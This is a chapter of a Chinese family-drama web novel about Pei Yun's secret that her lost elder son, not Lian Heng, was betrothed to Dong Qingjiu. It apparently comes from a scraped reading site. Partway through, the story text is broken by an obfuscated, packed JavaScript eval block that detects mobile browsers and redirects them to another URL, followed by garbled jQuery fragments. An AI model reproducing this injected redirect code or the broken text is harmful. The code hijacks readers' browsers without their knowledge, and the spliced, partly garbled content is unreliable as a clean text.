55. 第 55 章
微一顿。“东清酒”三个字像一颗石子,投进她沉寂多年的心湖,泛起圈圈涟漪。

    她缓缓抬起帘幕,目光穿过晨雾,精准地落在东清酒脸上。

    那眉眼,竟与当年的寇缦有七八分相似,一样的杏眼弯弯,一样的鼻尖小巧,连笑起来时嘴角的梨涡,都如出一辙。

    裴韵的心头猛地一揪,过往的记忆如潮水般涌来,带着几分物是人非的感慨。

    她沉默了片刻,终究什么也没说,轻轻放下帘幕,将那抹熟悉的身影隔绝在外,眼底只剩一片深不见底的寒凉。

    蔺昭宁见裴韵毫无反应,像是被无视了一般,心头顿时涌上一股不悦。

    她并非真的喜欢连衡,只是从小便觉得,这位天之骄子般的小侯爷,理应是属于自己圈子里的所有物,如今他却对一个名不见经传的东清酒另眼相看,那种被人夺走东西的不适感,让她浑身难受。她本想借着这话挑拨裴韵,让她出面拆散两人,谁知竟吃了个闭门羹,脸色不由得沉了几分。

    马车继续前行,车厢内一片寂静。

    裴韵靠在软垫上,闭着眼,脑海里全是东清酒的模样,还有那些尘封的往事。按说儿子能找到心仪之人,她本该开心,可一想到东清酒,她的脸上便只剩冷漠。

    当年,寇缦还在的时候,她们是无话不谈的好友,一起赏花弄月,一起诉说心事。

    可谁曾想,寇缦竟死于一场突如其来的意外,徒留她一人怅然。

    而更让她难以释怀的,是东清酒与连家的渊源,当年,与东清酒指腹为婚的,并非连衡,而是她的长子,连屹。

    那年连屹三岁,跟着家人外出上香时不慎走失。她疯了似的到处寻找,哭着求丈夫连舒动用官家力量帮忙,可连舒为了所谓的官名,怕被人诟病“治家不严”,竟断然拒绝。

    她又去求裴家的族人,可茫茫人海,终究是寻而未果。
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16959888|190547||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    p>

    连舒见她终日以泪洗面,便想将此事不了了之。为了“补偿”她,也为了稳固自己的地位,他很快便让她再次怀孕,生下了连衡。从那以后,对外,连衡便替代了连屹的一切,承袭了本该属于连屹的爵位,也承接了与东清酒的婚事。

    这件事,东清酒一无所知,连衡自己也被蒙在鼓里。

    所有的秘密,所有的苦水,都被裴韵烂在了肚子里,独自吞咽了这么多年。

    本以为日子能就这么平静地过下去,谁知连衡出生没多久,一场更狗血的剧情降临在她头上。连舒竟带着他的外室纯娘,还有一个已经五岁的儿子连遥之,堂而皇之地住进了连府。

    那一天,对裴韵来说,无异于晴天霹雳。她出身将门,性情刚烈,如何能忍受丈夫的背叛?她当即提出和离,态度坚决。

    可连舒却下了最后通牒,想用孩子留住她:“要和离可以,连衡必须留在连府。”

    “连舒,你真是好狠的心!”裴韵气得浑身发抖,泪水夺眶而出,“衡儿还这么小,离不开母亲,你那外室能真心待他吗?你怎能如此狠心!”

    “纯娘性子温顺,定会对衡儿视如己出,这你大可放心。”连舒语气平淡,仿佛在说一件无关紧要的事,“倒是你,如此狠心,舍得丢下这么小的孩子?

本章未完,请点击下一页继续阅读>>